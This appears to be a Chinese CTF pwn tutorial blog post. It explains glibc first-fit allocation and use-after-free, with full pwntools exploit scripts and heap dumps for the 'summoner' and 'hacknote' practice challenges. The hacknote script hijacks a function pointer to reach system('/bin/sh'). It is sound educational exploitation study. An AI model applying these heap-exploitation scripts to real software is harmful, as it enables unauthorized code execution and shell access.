first fit

  • 这里通过how2heap中的fist_fit.c理解glibc的fist fit算法

  • glibc使用一种first-fit算法来选择空闲的chunk.如果分配时存在一个大小满足要求的空闲chunk的话, glibc就会选择这个chunk

fist_fit.c Code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(0x512);
char* b = malloc(0x256);
char* c;

fprintf(stderr, "1st malloc(0x512): %p\n", a);
fprintf(stderr, "2nd malloc(0x256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

fprintf(stderr, "So, let's allocate 0x500 bytes\n");
c = malloc(0x500);
fprintf(stderr, "3rd malloc(0x500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}

编译运行:

➜  fist_fitAndUAF gcc fist_fit.c -o fist_fit
➜ fist_fitAndUAF ./fist_fit
This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
glibc uses a first-fit algorithm to select a free chunk.
If a chunk is free and large enough, malloc will select this chunk.
This can be exploited in a use-after-free situation.
Allocating 2 buffers. They can be large, don't have to be fastbin.
1st malloc(0x512): 0x7fffbc606260
2nd malloc(0x256): 0x7fffbc606780
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x7fffbc606260 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at 0x7fffbc606260
So, let's allocate 0x500 bytes
3rd malloc(0x500): 0x7fffbc606260
And put a different string here, "this is C!"
3rd allocation 0x7fffbc606260 points to this is C!
first allocation 0x7fffbc606260 points to this is C!
If we reuse the first allocation, it now holds the data from the third allocation.

虽然题目已经讲得很清楚, 但我还是想用自己的话来捋一下

  • 首先我们申请了两块堆内存:0x512(0x7fffbc606260), 0x256(0x7fffbc606780), 可以看到地址是不一样的, 这里根据nuoye大佬的说法, 申请0x256大小的堆块的意义在于防止我们第一次申请的0x512大小的堆块free后与top chunk合并
  • 然后我们向0x512这块内存填数据
  • 然后我们释放掉这块内存, 但是指向这块内存的指针A不置0/NULL
  • 接着我们申请一块0x500大小的堆块, 可以看到这个堆块的地址跟我们第一次申请的0x512大小堆块的地址是一样的!然后我们先假设指向这块内存的指针叫做C
  • 然后填充这块数据为this is C!
  • 然后分别将指针A和指针C指向的内存的内容打印出来, 可以看到都是this is C!
  • 而这就是fist fit, 而释放内存后不把指针置零也是UAF的利用点

例子

summoner

运行一下, 可以看到是一道菜单题:

➜  Summoner git:(master) ./summoner
After you climb over the snow mountain, you encounter an evil summoner!

He summoned "The Dark Lord" Level 5! You have to get over his dead body to fight the Demon Dragon, but you can only summon Level 4 creatures!

What's your plan for now???

Available plans:
show - show your creature and its level
summon [name] - summon a creature called [name]
level-up [level] - level up your creature (below Level 5)
strike - STRIKE the evil summoner's creature!!!
release - release your creature
quit - give up and die

Enter your command:
>

这里根据题目, 可以在IDA中创建如下结构体character

fist_fit-struct

getflag的点在当输入strike命令时level要为5

if ( character )
{
if ( character->level == 5 )
system("/bin/cat /pwn/flag");
else
puts("No, you cannot beat him!");
}
else
{
puts("Summon first.");
}

然而我们最多只能用level-up4:

if ( v5 <= 4 )
{
character->level = v5;
printf("Level-up to \"%u\"\n", v5, v4);
}
else
{
puts("Can only level-up to Level 4.");
}

而这个题目的问题在于, 当我们用summon创建一个角色后, 用release对其进行释放时, 只释放了name的内容, 并没有释放整个结构体, 这里可以用gdb(插件gef)调试进行观察

gdb summoner
r
> summon a
[ctrl + c进行暂停]
heap chunks

first_fit-summoner1

可以看到我们成功创建了两个堆块, 一个是结构体character, 另一个是我们的name

接着我们升个级

c
> level-up 4
[ctrl + c进行暂停]
heap chunks

first_fit-summoner2

可以看到等级已经上升, 接着我们进行release

c
> release
[ctrl + c进行暂停]
heap chunks

first_fit-summoner3

可以看到名字的chunk里面的内容已经被释放, 但是character这个结构体却没有被释放(指向name的指针和等级依旧存在), 那么当再次申请的时候就会申请到释放后name的地址!( first fit)

具体利用的话, 我们可以用写namea * 8 + '\x05', 此时name内容如下:

first_fit-summoner4

然后release

first_fit-summoner5

然后再一次summoner bbbb

first_fit-summoner6

可以看到此时等级已经是5了!

而这里我请教了nouye大佬, 为什么后8个字节不会被置零, 这里涉及到tcache的机制

free的时候发现tcache未满, 就丢去tcache处理。这个过程就会把fd设置为之前free过的一个tcache, 其他地方保持原本的不变, 然后free就完成了。如果没有之前free过的那个tcache, 就置为0。

这里我们用gdb调试来看 释放后可以看到这个堆内存被tcache回收

first_fit-summoner7

然后进行strike

➜  work python3 summoner.py
[+] Starting local process './summoner': pid 24183
[*] Switching to interactive mode
/bin/cat: /pwn/flag: No such file or directory

Enter your command:
> $

成功进入getflag环节!

完整脚本如下:

from pwn import *

context.terminal=["tmux", "splitw", "-h"]
p = process("./summoner")


sla = p.sendlineafter

def dbg():
gdb.attach(p)
pause()

sla('> ', 'summon ' + 'a' * 8 + '\x05')
#dbg()
sla('> ', 'release')
#dbg()
sla('> ', 'summon bbbb')
#dbg()
sla('> ', 'strike')


p.interactive()

Use After Free

  • Dangling pointer:(悬挂指针)指向被释放的内存的指针, 通常是由于释放内存后未将指针置null
  • Use After Free:对Dangling pointer所指向内存进行use, 如指针解引用等。

例子

题目: hack note

➜  hacknote git:(master) ./hacknote
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :

该题提供了四个功能

  • 添加noteadd note
    • 最多允许添加5个note
    • 每个note有putscontent两个字段
    • puts会被设置成一个函数print_note_content, 即打印content内容
  • 删除notedelete note
    • 根据给定的索引来释放对应的 note
  • 打印noteprint note
    • 根据给定的 note 的索引来输出对应索引的 note 的内容
  • 退出exit
    • 就是退出

利用分析

IDA打开, 分析后可以知道漏洞点在

  • print_note函数中
result = (_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])(notelist[v2]);

以自身为参数调用函数, 而这个函数在add_note函数中被定义:

*notelist[i] = print_note_content

因此就是打印note中的内容

  • del_note函数中
free((void *)notelist[v2][1]);
free(notelist[v2]);

free以后没有把指针置零

  • 在程序中存在magic函数
int magic()
{
return system("/bin/sh");
}

那么我们的攻击思路就可以是通过UAF漏洞修改note的puts字段位magic函数的地址, 从而在执行print_note的时候执行magic函数

利用

脚本如下:

from pwn import *

p = process("./hacknote")

sla = p.sendlineafter

def addnote(size, content = 'a'):
sla(":", "1")
sla(":", str(size))
sla(":", content)

def delnote(idx):
sla(":", "2")
sla(":", str(idx))

def printnote(idx):
sla(":", "3")
sla(":", str(idx))


magic = 0x8048945

addnote(0x10)
addnote(0x10)

delnote(0)
delnote(1)

addnote(8, p32(magic))

p.interactive()

具体思路如下:

  • 申请note0, content size 为16

  • 申请note1, content size 为16

    此时的堆

    pwndbg> heap
    0x8a6f008 PREV_INUSE {
    mchunk_prev_size = 0, mchunk_size = 337, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0
    }
    0x8a6f158 FASTBIN {
    mchunk_prev_size = 0, mchunk_size = 17, fd = 0x80485fb <print_note_content>, bk = 0x8a6f170, fd_nextsize = 0x0, bk_nextsize = 0x21
    }
    0x8a6f168 FASTBIN {
    mchunk_prev_size = 0, mchunk_size = 33, fd = 0x61616161, bk = 0xa, fd_nextsize = 0x0, bk_nextsize = 0x0
    }
    0x8a6f188 FASTBIN {
    mchunk_prev_size = 0, mchunk_size = 17, fd = 0x80485fb <print_note_content>, bk = 0x8a6f1a0, fd_nextsize = 0x0, bk_nextsize = 0x21
    }
    0x8a6f198 FASTBIN {
    mchunk_prev_size = 0, mchunk_size = 33, fd = 0x62626262, bk = 0xa, fd_nextsize = 0x0, bk_nextsize = 0x0
    }
    0x8a6f1b8 PREV_INUSE {
    mchunk_prev_size = 0, mchunk_size = 138825, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0
    }
  • free note0

  • free note1

  • 此时, 在Tcachebins中链表为note1 -> note0

pwndbg> bins
tcachebins
0x10 [ 2]: 0x8a6f190 —▸ 0x8a6f160 ◂— 0x0
0x18 [ 2]: 0x8a6f1a0 —▸ 0x8a6f170 ◂— 0x0
  • 申请note2, content size 为8, 那么根据堆分配规则, 其实note2会分配到note1对应的内存块, 而content就是对应note0

此时的堆结构

pwndbg> heap
0x8a6f008 PREV_INUSE {
mchunk_prev_size = 0, mchunk_size = 337, fd = 0x200, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0
}
0x8a6f158 FASTBIN {
mchunk_prev_size = 0, mchunk_size = 17, fd = 0x8048945 <magic>, bk = 0x8a6f10a, fd_nextsize = 0x0, bk_nextsize = 0x21
}
0x8a6f168 FASTBIN {
mchunk_prev_size = 0, mchunk_size = 33, fd = 0x0, bk = 0xa, fd_nextsize = 0x0, bk_nextsize = 0x0
}
0x8a6f188 FASTBIN {
mchunk_prev_size = 0, mchunk_size = 17, fd = 0x80485fb <print_note_content>, bk = 0x8a6f160, fd_nextsize = 0x0, bk_nextsize = 0x21
}
0x8a6f198 FASTBIN {
mchunk_prev_size = 0, mchunk_size = 33, fd = 0x8a6f170, bk = 0xa, fd_nextsize = 0x0, bk_nextsize = 0x0
}
0x8a6f1b8 PREV_INUSE {
mchunk_prev_size = 0, mchunk_size = 138825, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0
}
  • 这时我们向real content的chunk部分写入magic函数的地址, 由于没有把note0的指针置为NULL, 那么我们再次输出note0时, 就会调用magic函数, 从而getshell

Defcon-ctf-quals-2014-shitsco

参考

跟着B站学 fist_fit 和 UAF

CTF Wiki

CTF PWN选手的养成